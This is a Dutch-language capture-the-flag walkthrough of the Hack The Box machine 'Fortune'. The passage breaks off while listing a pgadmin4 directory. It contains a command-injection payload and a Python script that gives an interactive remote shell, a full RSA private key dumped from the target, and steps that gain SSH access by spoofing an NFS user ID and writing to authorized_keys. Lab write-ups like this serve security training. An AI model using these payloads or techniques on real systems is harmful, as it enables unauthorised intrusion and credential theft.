HTB – Fortune

Zoals altijd zullen we beginnen met een nmap scan.

root@kali:~/htb# nmap -sV -sT -sC fortune.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-18 15:06 EST
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 15:06 (0:00:00 remaining)
Nmap scan report for fortune.htb (10.10.10.127)
Host is up (0.060s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-title: Fortune
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.49 seconds

We hebben http , https op poort 80, poort 443 en we hebben ssh op poort 22, dus we zullen ons concentreren op de webservices.


HTTP initiële opsomming

De indexpagina op http://fortune.htb is vrij eenvoudig, we hebben een aantal opties waar we een database met fortuinen kunnen kiezen en we krijgen een willekeurig fortuin uit die database:

Op https://fortune.htb krijgen we een handshake-fout, dit betekent waarschijnlijk dat we een clientcertificaat nodig hebben.


RCE, genereren van clientcertificaten

Terug naar http://fortune.htb Ik onderschepte het verzoek met burp en er was slechts één parameter in het POST-verzoek genaamd db , nadat ik verschillende dingen had geprobeerd, kon ik RCE krijgen door een puntkomma toe te voegen ; :
Verzoek :

POST /select HTTP/1.1
Host: fortune.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://fortune.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Connection: close
Upgrade-Insecure-Requests: 1

db=;pwd

Reactie:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Date: Fri, 02 Aug 2019 11:08:49 GMT
Server: OpenBSD httpd
Content-Length: 680

<!DOCTYPE html>
<html>
<head>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<h2>Your fortune is:</h2>
<p><pre>

Bagbiter:
	1. n.; Equipment or program that fails, usually
intermittently.  2. adj.:  Failing hardware or software.  &#34;This
bagbiting system won&#39;t let me get out of spacewar.&#34;  Usage:  verges on
obscenity.  Grammatically separable; one may speak of &#34;biting the
bag&#34;.  Synonyms: LOSER, LOSING, CRETINOUS, BLETCHEROUS, BARFUCIOUS,
CHOMPER, CHOMPING.
/var/appsrv/fortune


</pre><p>
<p>Try <a href='/'>again</a>!</p>
</body>
</html>

Ik kon geen omgekeerde shell krijgen, ssh krijgen of de gebruikersvlag lezen, dus we gaan het vak via deze RCE enige tijd opsommen.
Ik heb een script geschreven om het gemakkelijker te maken:

#!/usr/bin/python3
import requests
import sys

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(payload):
	post_data = {"db":payload}
	req = requests.post("http://10.10.10.127/select",data=post_data)
	response = req.text
	return response

def filter(response):
	start = "rce_result"
	end = "rce_result_end"
	result = response[response.find(start)+len(start):response.rfind(end)]
	return result

while True:
	rce = input(GREEN + "[?] command : ")
	payload = ";echo rce_result;{};echo rce_result_end".format(rce)
	response = exploit(payload)
	result = filter(response)
	print(YELLOW + "[*] Result :")
	print(result)

Dit script neemt het commando om uit te voeren en verzendt vervolgens de payload die is ;echo rce_result;COMMAND;echo rce_result_end dan zoekt het door het antwoord en drukt de string af tussen rce_result en rce_result_end die de uitvoer is van onze opdracht.

Er zijn 3 gebruikers op de doos: bob , charlie en nfsuser :

[?] command : ls -la /home
[*] Result :

total 20
drwxr-xr-x   5 root     wheel    512 Nov  2  2018 .
drwxr-xr-x  13 root     wheel    512 Aug  2 05:47 ..
drwxr-xr-x   5 bob      bob      512 Nov  3  2018 bob
drwxr-x---   3 charlie  charlie  512 Aug  2 06:21 charlie
drwxr-xr-x   2 nfsuser  nfsuser  512 Nov  2  2018 nfsuser

In de basismap van bob stond een map met de naam ca :

[?] command : ls -la /home/bob
[*] Result :

total 48
drwxr-xr-x  5 bob   bob    512 Nov  3  2018 .
drwxr-xr-x  5 root  wheel  512 Nov  2  2018 ..
-rw-r--r--  1 bob   bob     87 Oct 11  2018 .Xdefaults
-rw-r--r--  1 bob   bob    771 Oct 11  2018 .cshrc
-rw-r--r--  1 bob   bob    101 Oct 11  2018 .cvsrc
-rw-r--r--  1 bob   bob    359 Oct 11  2018 .login
-rw-r--r--  1 bob   bob    175 Oct 11  2018 .mailrc
-rw-r--r--  1 bob   bob    215 Oct 11  2018 .profile
-rw-------  1 bob   bob     13 Nov  3  2018 .psql_history
drwx------  2 bob   bob    512 Nov  2  2018 .ssh
drwxr-xr-x  7 bob   bob    512 Oct 29  2018 ca
drwxr-xr-x  2 bob   bob    512 Nov  2  2018 dba

Ik heb die map enige tijd opgesomd en er was een map met de naam intermediate waar ik een certificaat en een sleutel vond:

[?] command : ls -la /home/bob/ca
[*] Result :

total 56
drwxr-xr-x  7 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  5 bob  bob   512 Nov  3  2018 ..
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 certs
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 crl
-rw-r--r--  1 bob  bob   115 Oct 29  2018 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29  2018 index.txt.attr
-rw-r--r--  1 bob  bob     0 Oct 29  2018 index.txt.old
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 intermediate
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 newcerts
-rw-r--r--  1 bob  bob  4200 Oct 29  2018 openssl.cnf
drwx------  2 bob  bob   512 Oct 29  2018 private
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial.old

[?] command : ls -la /home/bob/ca/intermediate
[*] Result :

total 60
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 .
drwxr-xr-x  7 bob  bob   512 Oct 29  2018 ..
drwxr-xr-x  2 bob  bob   512 Nov  3  2018 certs
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 crl
-rw-r--r--  1 bob  bob     5 Oct 29  2018 crlnumber
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 csr
-rw-r--r--  1 bob  bob   107 Oct 29  2018 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29  2018 index.txt.attr
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 newcerts
-rw-r--r--  1 bob  bob  4328 Oct 29  2018 openssl.cnf
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 private
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial.old

[?] command : ls -la /home/bob/ca/intermediate/certs
[*] Result :

total 32
drwxr-xr-x  2 bob  bob   512 Nov  3  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--r--r--  1 bob  bob  4114 Oct 29  2018 ca-chain.cert.pem
-r--r--r--  1 bob  bob  1996 Oct 29  2018 fortune.htb.cert.pem
-r--r--r--  1 bob  bob  2061 Oct 29  2018 intermediate.cert.pem

[?] command : ls -la /home/bob/ca/intermediate/private
[*] Result :

total 20
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--------  1 bob  bob  1675 Oct 29  2018 fortune.htb.key.pem
-rw-r--r--  1 bob  bob  3243 Oct 29  2018 intermediate.key.pem

[?] command : cat /home/bob/ca/intermediate/certs/intermediate.cert.pem
[*] Result :

-----BEGIN CERTIFICATE-----                           
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
-----END CERTIFICATE-----

[?] command : cat /home/bob/ca/intermediate/private/intermediate.key.pem
[*] Result :


-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

We kunnen ze gebruiken om een PKCS12 certificaat te genereren voor toegang tot de https service. met openssl we het doen met een enkel commando:

openssl pkcs12 -export -in intermediate.cert.pem -inkey intermediate.key.pem -out fortune.p12
root@kali:~/Desktop/HTB/boxes/fortune/cert# ls -al
total 20
drwxr-xr-x 2 root root 4096 Aug  2 13:40 .
drwxr-xr-x 3 root root 4096 Aug  2 13:40 ..
-rw-r--r-- 1 root root 6810 Aug  2 13:40 intermediate.cert.pem
-rw-r--r-- 1 root root 3243 Aug  2 13:40 intermediate.key.pem
root@kali:~/Desktop/HTB/boxes/fortune/cert# openssl pkcs12 -export -in intermediate.cert.pem -inkey intermediate.key.pem -out fortune.p12
Enter Export Password:
Verifying - Enter Export Password:
root@kali:~/Desktop/HTB/boxes/fortune/cert# ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug  2 13:43 .
drwxr-xr-x 3 root root 4096 Aug  2 13:40 ..
-rw------- 1 root root 4237 Aug  2 13:43 fortune.p12
-rw-r--r-- 1 root root 6810 Aug  2 13:40 intermediate.cert.pem
-rw-r--r-- 1 root root 3243 Aug  2 13:40 intermediate.key.pem
root@kali:~/Desktop/HTB/boxes/fortune/cert# 

Nu kunnen we het certificaat in Firefox importeren:

Na het verwijderen van de SSL-uitzondering zal het ons certificaat vragen en ons toegang geven:


Verhoogde netwerktoegang, NFS, gebruikersvlag

Na toegang te krijgen tot https dit bericht op de indexpagina:

Ik wist niet wat authpf was, dus heb ik er naar gezocht.

authpf is een gebruikersshell voor het verifiëren van gateways. Het wordt gebruikt om pf-regels te wijzigen wanneer een gebruiker zich authenticeert en een sessie start met sshd en om deze wijzigingen ongedaan te maken wanneer de sessie van de gebruiker wordt afgesloten. Het is ontworpen voor het wijzigen van filter- en vertaalregels voor een individueel IP-adres van de bron zolang een gebruiker een actieve SSH-sessie onderhoudt. Typisch gebruik zou zijn voor een gateway die gebruikers authenticeert voordat ze internetgebruik toestaan, of een gateway die verschillende gebruikers naar verschillende plaatsen toestaat. – freeBSD handleiding

Dus in principe kan dit toegang geven tot sommige gefilterde services waartoe we eerder geen toegang hadden, om het te gebruiken hebben we een sleutel nodig en gelukkig kunnen we er een genereren:

We hebben 3 gebruikers op de doos, ik heb ze allemaal geprobeerd en nfsuser werkte:

Nu is het tijd voor een nieuwe nmap scan:
nmap -sV -sT -sC fortune.htb

We hebben twee nieuwe poorten, 8081 met http en 2049 met nfs . De http service geeft ons dit bericht:

Dus waarschijnlijk moeten we ons concentreren op nfs .

Network File System ( NFS ) is een gedistribueerd bestandssysteemprotocol dat oorspronkelijk is ontwikkeld door Sun Microsystems in 1984, waarmee een gebruiker op een clientcomputer toegang heeft tot bestanden via een computernetwerk, net zoals toegang tot lokale opslag. – Wikipedia

Ik gebruikte het RCE script om /etc/exports te controleren en het enige dat er was /home :

[?] command : cat /etc/exports
[*] Result :

/home

Door nfs-ls (dat deel uitmaakt van het pakket libnfs-utils ) kunnen we met succes de mappen weergeven:

root@kali:~/Desktop/HTB/boxes/fortune# nfs-ls nfs://fortune.htb/home
drwxr-xr-x  2  1002  1002          512 nfsuser
drwxr-xr-x  5  1001  1001          512 bob
drwxr-x---  3  1000  1000          512 charlie

Ik heb een map gemaakt, deze mnt en de nfs share erin gemount:

root@kali:~/Desktop/HTB/boxes/fortune# mkdir mnt && mount -t nfs fortune.htb:/home ./mnt
root@kali:~/Desktop/HTB/boxes/fortune# ls -la mnt
total 12
drwxr-xr-x 5 root root  512 Nov  3  2018 .
drwxr-xr-x 4 root root 4096 Aug  2 14:23 ..
drwxr-xr-x 5 1001 1001  512 Nov  3  2018 bob
drwxr-x--- 3 rick rick  512 Aug  2 12:21 charlie
drwxr-xr-x 2 1002 1002  512 Nov  3  2018 nfsuser
root@kali:~/Desktop/HTB/boxes/fortune# 

Ik kon echter geen toegang krijgen tot de directory van charlie :

root@kali:~/Desktop/HTB/boxes/fortune# cd mnt
root@kali:~/Desktop/HTB/boxes/fortune/mnt# cd charlie
-bash: cd: charlie: Permission denied

Dit komt omdat ik probeer met root waarvan de uid 0 :

root@kali:~/Desktop/HTB/boxes/fortune/mnt# id uid=0(root) gid=0(root) groups=0(root) root@kali:~/Desktop/HTB/boxes/fortune/mnt#

En de manier waarop nfs permissies werken moet ik dezelfde uid als charlie die 1000 :

[ ? ] command : id charlie [ * ] Result : uid = 1000 ( charlie ) gid = 1000 ( charlie ) groups = 1000 ( charlie ), 0 ( wheel )

Ik heb al een gebruiker op mijn box met de uid 1000 genaamd rick :

root@kali:~/Desktop/HTB/boxes/fortune/mnt# id rick uid=1000(rick) gid=1000(rick) groups=1000(rick) root@kali:~/Desktop/HTB/boxes/fortune/mnt#

Wij bezaten gebruiker.


Privilege-escalatie, rootvlag

Het eerste wat ik wilde doen is ssh krijgen, gelukkig had ik schrijftoegang tot authorized_keys :

rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie$ ls -la
total 22
drwxr-x--- 3 rick rick 512 Nov  6  2018 .
drwxr-xr-x 5 root root 512 Nov  3  2018 ..
-rw-r----- 1 rick rick 771 Oct 11  2018 .cshrc
-rw-r----- 1 rick rick 101 Oct 11  2018 .cvsrc
-rw-r----- 1 rick rick 359 Oct 11  2018 .login
-rw-r----- 1 rick rick 175 Oct 11  2018 .mailrc
-rw------- 1 rick rick 608 Nov  3  2018 mbox
-rw-r----- 1 rick rick 216 Oct 11  2018 .profile
drwx------ 2 rick rick 512 Nov  2  2018 .ssh
-r-------- 1 rick rick  33 Nov  3  2018 user.txt
-rw-r----- 1 rick rick  87 Oct 11  2018 .Xdefaults
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie$ cd .ssh
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ ls -la
total 4
drwx------ 2 rick rick 512 Nov  2  2018 .
drwxr-x--- 3 rick rick 512 Nov  6  2018 ..
-rw------- 1 rick rick   0 Oct 11  2018 authorized_keys
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ 

Ik gebruikte ssh-keygen om een ​​private en een publieke sleutel te genereren:

root@kali:~/Desktop/HTB/boxes/fortune# mkdir ssh
root@kali:~/Desktop/HTB/boxes/fortune# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/Desktop/HTB/boxes/fortune/ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/Desktop/HTB/boxes/fortune/ssh/id_rsa.
Your public key has been saved in /root/Desktop/HTB/boxes/fortune/ssh/id_rsa.pub.
The key fingerprint is:
SHA256:OicgBWZAaEOpjbe8y6qqvgAEJwY0qDKuSuBXQ/Gt+Cs root@kali
The key's randomart image is:
+---[RSA 2048]----+
|%B*  .           |
|=O..  o .        |
|++. .. . .       |
|B o.. . .        |
|=+...+ .S        |
|+.o...o.         |
|oo o  +..        |
|+.o  E +.        |
|%++.  ..         |
+----[SHA256]-----+
root@kali:~/Desktop/HTB/boxes/fortune# cat ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjxkpA0ZDuhQD+S6db5Vs1jaYcBvQ95b3cIiWihMgHXZC4rMdRVgFhCKaNot9qISpBTnwlP7+NOC0GK7hVw3xDtLuqkTJb8DW2/8dsmsf3TUKX0IkFLz45kZs0eSBfBhl9CYnB5+9A/uQ1UNKufsUQ19sWuzspksvN/PA0aujwEUQgPlMlw+uSlcTxD+zTENVEJoM4cEVE5EvWg/JWYMQLbkob0k5YnDwgr3KdyWOxidsfLNXthd7FYjShVMl2yfW+r1NjJN8mCSE8z8G/GJ9ripwqWzOjgUzDvKIcODnJmt975h6h2oHExipzWj2IUJxPz41HiP3JgeSuDFP87fdz root@kali                               
root@kali:~/Desktop/HTB/boxes/fortune#

Toen schreef ik mijn openbare sleutel naar authorized_keys en kreeg ssh als charlie :

rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjxkpA0ZDuhQD+S6db5Vs1jaYcBvQ95b3cIiWihMgHXZC4rMdRVgFhCKaNot9qISpBTnwlP7+NOC0GK7hVw3xDtLuqkTJb8DW2/8dsmsf3TUKX0IkFLz45kZs0eSBfBhl9CYnB5+9A/uQ1UNKufsUQ19sWuzspksvN/PA0aujwEUQgPlMlw+uSlcTxD+zTENVEJoM4cEVE5EvWg/JWYMQLbkob0k5YnDwgr3KdyWOxidsfLNXthd7FYjShVMl2yfW+r1NjJN8mCSE8z8G/GJ9ripwqWzOjgUzDvKIcODnJmt975h6h2oHExipzWj2IUJxPz41HiP3JgeSuDFP87fdz root@kali" >> authorized_keys 
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ cd ../../../ssh/
rick@kali:/root/Desktop/HTB/boxes/fortune/ssh$ su
Password: 
root@kali:~/Desktop/HTB/boxes/fortune/ssh# ssh charlie@fortune.htb -i id_rsa
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$ 

In de thuismap van charlie er een bestand met de naam mbox dat een e-mail van bob naar charlie waarin hij werd bedankt voor het instellen van pgadmin4 voor hem en hem ook werd verteld dat hij het dba wachtwoord op het pgadmin4 had ingesteld:

fortune$ ls -al
total 44
drwxr-x---  3 charlie  charlie  512 Nov  5  2018 .
drwxr-xr-x  5 root     wheel    512 Nov  2  2018 ..
-rw-r-----  1 charlie  charlie   87 Oct 11  2018 .Xdefaults
-rw-r-----  1 charlie  charlie  771 Oct 11  2018 .cshrc
-rw-r-----  1 charlie  charlie  101 Oct 11  2018 .cvsrc
-rw-r-----  1 charlie  charlie  359 Oct 11  2018 .login
-rw-r-----  1 charlie  charlie  175 Oct 11  2018 .mailrc
-rw-r-----  1 charlie  charlie  216 Oct 11  2018 .profile
drwx------  2 charlie  charlie  512 Nov  2  2018 .ssh
-rw-------  1 charlie  charlie  608 Nov  3  2018 mbox
-r--------  1 charlie  charlie   33 Nov  3  2018 user.txt
fortune$ cat mbox                                                                                                                                                                                                 
From bob@fortune.htb Sat Nov  3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
        by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
        for <charlie@fortune.htb>;
        Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From:  <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.

Cheers,

Bob

fortune$ 

Opmerking: pgadmin is een beheer- en ontwikkelingsplatform voor PostgreSQL .
Eerder toen we de verhoogde netwerktoegang kregen, was er een http poort voor pgadmin4 dus ik heb de webmap in /var/appsrv en de database was er:

fortune$ cd /var/appsrv/                                                                                                                                                                                          
fortune$ ls -la
total 20
drwxr-xr-x   5 root       wheel     512 Nov  2  2018 .
drwxr-xr-x  24 root       wheel     512 Nov  2  2018 ..
drwxr-xr-x   5 _fortune   _fortune  512 Aug  2 09:15 fortune
drwxr-x---   4 _pgadmin4  wheel     512 Nov  3  2018 pgadmin4
drwxr-xr-x   4 _sshauth   _sshauth  512 Feb  3 05:08 sshauth
fortune$ cd pgadmin4/                                                                                                                                                                                             
fortune$ ls -la
total 252
